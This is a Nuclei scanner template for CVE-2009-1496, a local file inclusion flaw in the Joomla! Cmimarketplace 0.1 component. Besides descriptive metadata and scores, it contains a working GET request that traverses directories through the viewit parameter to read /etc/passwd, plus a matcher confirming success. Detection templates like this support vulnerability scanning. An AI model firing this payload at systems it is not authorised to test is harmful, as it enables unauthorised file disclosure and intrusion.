id: CVE-2009-1496

info:
  name: Joomla! Cmimarketplace 0.1 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: |
    Joomla! Cmimarketplace 0.1 is susceptible to local file inclusion because com_cmimarketplace allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Apply the latest patch or upgrade to a newer version of Joomla! Cmimarketplace to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/8367
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1496
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2009-1496
    cwe-id: CWE-22
    epss-score: 0.07183
    epss-percentile: 0.93492
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve2009,cve,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220575af2565ac133d146baca66810ecb4a47baacbe923bc3542f0bb0b7ccd1477002201fe336fb9548df14053dc8e62861dc2bf89f5a5b8d6269503bf52a10ea5fa886:922c64590222798bb761d5b6d8e72950